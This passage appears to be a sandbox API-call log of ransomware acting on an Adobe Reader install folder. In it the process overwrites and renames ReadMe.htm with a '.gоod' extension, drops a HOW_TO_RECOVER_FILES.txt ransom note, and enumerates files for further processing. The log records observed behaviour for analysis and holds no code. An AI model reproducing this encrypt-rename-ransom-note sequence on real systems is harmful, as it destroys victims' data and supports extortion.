[0069.508] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\ReadMe.htm", nBufferLength=0x105, lpBuffer=0x1f35ce00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\ReadMe.htm", lpFilePart=0x0) returned 0x39 [0069.508] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35d320) returned 1 [0069.508] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\ReadMe.htm" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\readme.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0069.508] GetFileType (hFile=0x760) returned 0x1 [0069.508] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35d290) returned 1 [0069.508] GetFileType (hFile=0x760) returned 0x1 [0069.508] WriteFile (in: hFile=0x760, lpBuffer=0x30c19a0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f35d4a8, lpOverlapped=0x0 | out: lpBuffer=0x30c19a0*, lpNumberOfBytesWritten=0x1f35d4a8*=0x1010, lpOverlapped=0x0) returned 1 [0069.509] CloseHandle (hObject=0x760) returned 1 [0069.510] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\ReadMe.htm", nBufferLength=0x105, lpBuffer=0x1f35cf50, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\ReadMe.htm", lpFilePart=0x0) returned 0x39 [0069.510] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\ReadMe.htm.gоod", nBufferLength=0x105, lpBuffer=0x1f35cf50, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\ReadMe.htm.gоod", lpFilePart=0x0) returned 0x3e [0069.510] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35d3e0) returned 1 [0069.510] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\ReadMe.htm" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\readme.htm"), fInfoLevelId=0x0, lpFileInformation=0x1f35d4c0 | out: lpFileInformation=0x1f35d4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3632d245, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x25a5cbcc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4109)) returned 1 [0069.510] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35d3a0) returned 1 [0069.510] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\ReadMe.htm" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\readme.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\ReadMe.htm.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\readme.htm.gоod")) returned 1 [0069.511] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35cc40) returned 1 [0069.511] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Esl", nBufferLength=0x105, lpBuffer=0x1f35c6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Esl", lpFilePart=0x0) returned 0x32 [0069.512] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Esl\\*", lpFindFileData=0x1f35c960 | out: lpFindFileData=0x1f35c960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdec183d6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xdec183d6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec183d6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0069.512] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdec183d6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xdec183d6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec183d6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.512] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdec183d6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3cc98600, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x4f1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AiodLite.dll", cAlternateFileName="")) returned 1 [0069.512] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0069.512] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0069.512] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35cb80) returned 1 [0069.512] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35cb40) returned 1 [0069.512] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35cc40) returned 1 [0069.512] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Esl", nBufferLength=0x105, lpBuffer=0x1f35c6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Esl", lpFilePart=0x0) returned 0x32 [0069.513] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Esl\\*", lpFindFileData=0x1f35c960 | out: lpFindFileData=0x1f35c960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdec183d6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xdec183d6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec183d6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0069.513] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdec183d6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xdec183d6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec183d6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.513] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdec183d6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3cc98600, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x4f1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AiodLite.dll", cAlternateFileName="")) returned 1 [0069.513] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdec183d6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3cc98600, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x4f1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AiodLite.dll", cAlternateFileName="")) returned 0 [0069.513] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0069.513] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35cb80) returned 1 [0069.513] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35cb40) returned 1 [0069.513] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Esl\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f35c690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Esl\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x4b [0069.513] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35cbb0) returned 1 [0069.513] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Esl\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\esl\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x760 [0069.514] GetFileType (hFile=0x760) returned 0x1 [0069.514] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35cb20) returned 1 [0069.514] GetFileType (hFile=0x760) returned 0x1 [0069.515] WriteFile (in: hFile=0x760, lpBuffer=0x342ced8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f35cc78, lpOverlapped=0x0 | out: lpBuffer=0x342ced8*, lpNumberOfBytesWritten=0x1f35cc78*=0x5d0, lpOverlapped=0x0) returned 1 [0069.515] CloseHandle (hObject=0x760) returned 1 [0069.516] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35cc40) returned 1 [0069.517] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader", nBufferLength=0x105, lpBuffer=0x1f35c6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader", lpFilePart=0x0) returned 0x35 [0069.517] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\*", lpFindFileData=0x1f35c960 | out: lpFindFileData=0x1f35c960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2d82cf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2d82cf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0069.517] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2d82cf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2d82cf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.625] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x191cc8f5, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x72bf0d00, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x2d9d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf", cAlternateFileName="149487~1.PDF")) returned 1 [0069.625] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a672c00, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdb16256d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3a672c00, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x28bf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="A3DUtils.dll", cAlternateFileName="")) returned 1 [0069.625] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a672c00, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xded496a3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3a672c00, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xe8ff0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACE.dll", cAlternateFileName="")) returned 1 [0069.625] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3632d245, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3632d245, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3632d245, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroApp", cAlternateFileName="")) returned 1 [0069.625] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2d5caac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x465f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroBroker.exe", cAlternateFileName="ACROBR~1.EXE")) returned 1 [0069.626] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x352c8bdc, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe15851ea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe15851ea, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroCEF", cAlternateFileName="")) returned 1 [0069.626] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1758800, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1abe0524, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe1758800, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x134b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrofx32.dll", cAlternateFileName="")) returned 1 [0069.626] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf33f4ce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x16dc3f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroRd32.dll", cAlternateFileName="")) returned 1 [0069.626] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf3b1bc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x21fdf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroRd32.exe", cAlternateFileName="")) returned 1 [0069.626] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf3d7e46, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3cc98600, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x71f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroRd32Info.exe", cAlternateFileName="ACRORD~1.EXE")) returned 1 [0069.626] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf66062a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xe07ff0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroRd32Res.dll", cAlternateFileName="ACRORD~1.DLL")) returned 1 [0069.626] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdec648c5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x1c7f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroSup64.dll", cAlternateFileName="ACROSU~1.DLL")) returned 1 [0069.627] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf6d2df0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xaff0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroTextExtractor.exe", cAlternateFileName="ACROTE~1.EXE")) returned 1 [0069.627] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2d82cf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x21df0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADelRCP.exe", cAlternateFileName="")) returned 1 [0069.627] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37bc3c75, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x711, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe.Reader.Dependencies.manifest", cAlternateFileName="ADOBER~1.MAN")) returned 1 [0069.627] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2a15668, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xd87f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.exe", cAlternateFileName="ADOBEC~1.EXE")) returned 1 [0069.627] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdea0236a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x7e1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeLinguistic.dll", cAlternateFileName="ADOBEL~1.DLL")) returned 1 [0069.627] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2a6b500, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1f95cdaa, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe2a6b500, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x45650, dwReserved0=0x0, dwReserved1=0x0, cFileName="adoberfp.dll", cAlternateFileName="")) returned 1 [0069.627] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1758800, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1b58fe2e, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe1758800, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x4ae50, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeXMP.dll", cAlternateFileName="")) returned 1 [0069.627] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf876737, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3cc98600, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x4e5df0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AGM.dll", cAlternateFileName="")) returned 1 [0069.628] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x36fd7dc6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x6bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="AGMGPUOptIn.ini", cAlternateFileName="AGMGPU~1.INI")) returned 1 [0069.628] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1758800, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1ab2191d, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe1758800, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x426b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ahclient.dll", cAlternateFileName="")) returned 1 [0069.628] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xda8e3fa2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x116c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="AIDE.dll", cAlternateFileName="")) returned 1 [0069.628] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xde91d4f2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xde91d4f2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xde91d4f2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AIR", cAlternateFileName="")) returned 1 [0069.628] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37a46528, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x152a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="arh.exe", cAlternateFileName="")) returned 1 [0069.628] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f35c920 | out: lpFindFileData=0x1f35c920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a672c00, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdecd6f88, ftLastAccessTime.dwHighDateTime=0x1d39f5d, 